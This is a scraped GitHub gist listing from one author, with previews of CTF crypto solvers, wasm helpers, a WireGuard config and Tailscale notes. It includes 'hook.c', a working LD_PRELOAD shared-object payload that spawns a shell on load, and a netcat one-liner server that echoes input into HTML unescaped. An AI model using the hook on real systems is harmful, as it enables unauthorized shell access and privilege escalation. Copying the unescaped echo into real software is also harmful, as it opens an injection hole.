Skip to content

Instantly share code, notes, and snippets.

View maple3142's full-sized avatar

maple maple3142

View GitHub Profile
@maple3142
maple3142 / normal.py
Last active July 9, 2024 05:59
DownUnderCTF 2024 - super party computation
from pwn import process, context
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from Crypto.Util.number import bytes_to_long
import json
from server import key_agreement, Paillier_PublicKey, e_add_const, e_mul_const
CURVE = "p256"
@maple3142
maple3142 / ngrams.json
Created July 7, 2024 09:57
DownUnderCTF 2024 Quals - three line crypto
{"Thi": -8.29006305458414, "his": -6.028756264582789, "is ": -5.533245861866925, "s i": -7.319505351894243, " is": -6.450440742453986, "s t": -6.40498609966847, " th": -4.372319218082527, "the": -4.823210075216906, "he ": -5.0991662585590305, "e 1": -14.819481892846365, " 10": -12.74004035116653, "100": -14.12633471228642, "00t": -15.51262907340631, "0th": -15.51262907340631, "th ": -6.027463930980903, "h E": -12.679415729350094, " Et": -12.078641868921164, "Ete": -12.947679715944773, "tex": -11.561385354824884, "ext": -9.474758153484172, "xt ": -9.906827007110314, "t f": -7.710419757159193, " fi": -7.431154033269259, "fil": -10.092094074134025, "ile": -8.413427329853219, "le ": -7.159603228203985, "e p": -7.361295735505878, " pr": -6.853762723673928, "pre": -8.045829598387709, "res": -7.273299645504515, "ese": -7.6652572372465215, "sen": -7.9983744205899, "ent": -6.625114476017489, "nte": -7.142776469888782, "ted": -7.927347994767185, "ed ": -6.72449313354259, "d b": -7.3914458313274825, " by": -7.5305541983
@maple3142
maple3142 / ov.py
Last active June 19, 2024 13:05
vsctf 2024 - salad
from sage.all import Matrix, vector, Zmod, var, ZZ
import random
class Random:
def __init__(self, modulus):
self.r = random.SystemRandom()
self.modulus = modulus
def next(self):
return self.r.randrange(1, self.modulus)
class CentralMapping:
def __init__(self, o, v, modulus):
@maple3142
maple3142 / hook.c
Last active April 1, 2024 16:22
generic LD_PRELOAD shell hook example
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
__attribute__((constructor)) void init() {
putenv("LD_PRELOAD=");
system("sh");
exit(0);
}
// gcc -shared -fPIC hook.c -o hook.so -ldl -Os -s -Wall
@maple3142
maple3142 / a.js
Created March 31, 2024 03:47
wasm debug helper functions
const mem = new Uint8Array(Module.asm.memory.buffer)
function encode(str) {
return new TextEncoder().encode(str)
}
function decode(arr) {
return new TextDecoder().decode(arr)
}
@maple3142
maple3142 / example.conf
Created March 14, 2024 04:47
Cloudflare warp example config that works in WSL2
[Interface]
PrivateKey = REDACTED
Address = 172.16.0.2/32
MTU = 1280
[Peer]
PublicKey = REDACTED
# 0.0.0.0/0 - (0.0.0.0/8, 10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16, 240.0.0.0/4, 162.159.192.1/32, 1.1.1.1/32) + 172.16.0.0/24
# 162.159.192.1 is for engage.cloudflareclient.com
# reference: https://github.com/ViRb3/wgcf/issues/42, https://www.procustodibus.com/blog/2021/03/wireguard-allowedips-calculator/
@maple3142
maple3142 / server.sh
Last active March 14, 2024 06:55
one line webserver, tested in zsh and bash
while true; do mkfifo pipe; stdbuf -o0 cat pipe | nc -lv 7777 | ( read line; reqpath="$(echo "$line" | sed -nE 's/GET ([^ ]*) HTTP.*/\1/p')"; echoparam="$(echo "$reqpath" | cut -d '?' -f2 | awk 'BEGIN { RS="&"; FS="=" } { if ($1 == "echo") print $2 }')"; response=$echoparam; if [[ $reqpath == '/' ]]; then response='<form><input name="echo"><button>Echo</button></form>'; fi; printf 'HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n'; printf '%s' "$response" ) > pipe; rm pipe; done
{"elements":[{"text":"Water","emoji":"💧","discovered":false},{"text":"Fire","emoji":"🔥","discovered":false},{"text":"Wind","emoji":"🌬️","discovered":false},{"text":"Earth","emoji":"🌍","discovered":false},{"text":"Steam","emoji":"💨","discovered":false},{"text":"Mud","emoji":"💩","discovered":false},{"text":"Dust","emoji":"🌫️","discovered":false},{"text":"Planet","emoji":"🪐","discovered":false},{"text":"Steampunk","emoji":"🕯️","discovered":false},{"text":"Cloud","emoji":"☁️","discovered":false},{"text":"Volcano","emoji":"🌋","discovered":false},{"text":"Mountain","emoji":"🏔️","discovered":false},{"text":"Snow","emoji":"❄️","discovered":false},{"text":"Snowball","emoji":"❄️","discovered":false},{"text":"Snowman","emoji":"☃️","discovered":false},{"text":"Eruption","emoji":"🌋","discovered":false},{"text":"Lava","emoji":"🌋","discovered":false},{"text":"Stone","emoji":"🪨","discovered":false},{"text":"Rock","emoji":"🪨","discovered":false},{"text":"Clay","emoji":"🏺","discovered":false},{"text":"Boulder","emoji":"🪨","dis
@maple3142
maple3142 / compress.py
Created January 11, 2024 09:38
SECCON CTF Final 2023 - babywaf
#!/usr/bin/env python
from __future__ import print_function
import argparse
import binascii
import functools
import struct
import sys
import zlib
@maple3142
maple3142 / README.md
Last active June 12, 2024 09:43
Rootless Tailscale

Running tailscaled

Download static tailscaled binary here

TAILSCALED_SOCKET="/tmp2/$USER/tailscaled.sock"
TAILSCALED_STATE="tailscaled.state"
./tailscaled --tun=userspace-networking --state="$TAILSCALED_STATE" --socket "$TAILSCALED_SOCKET"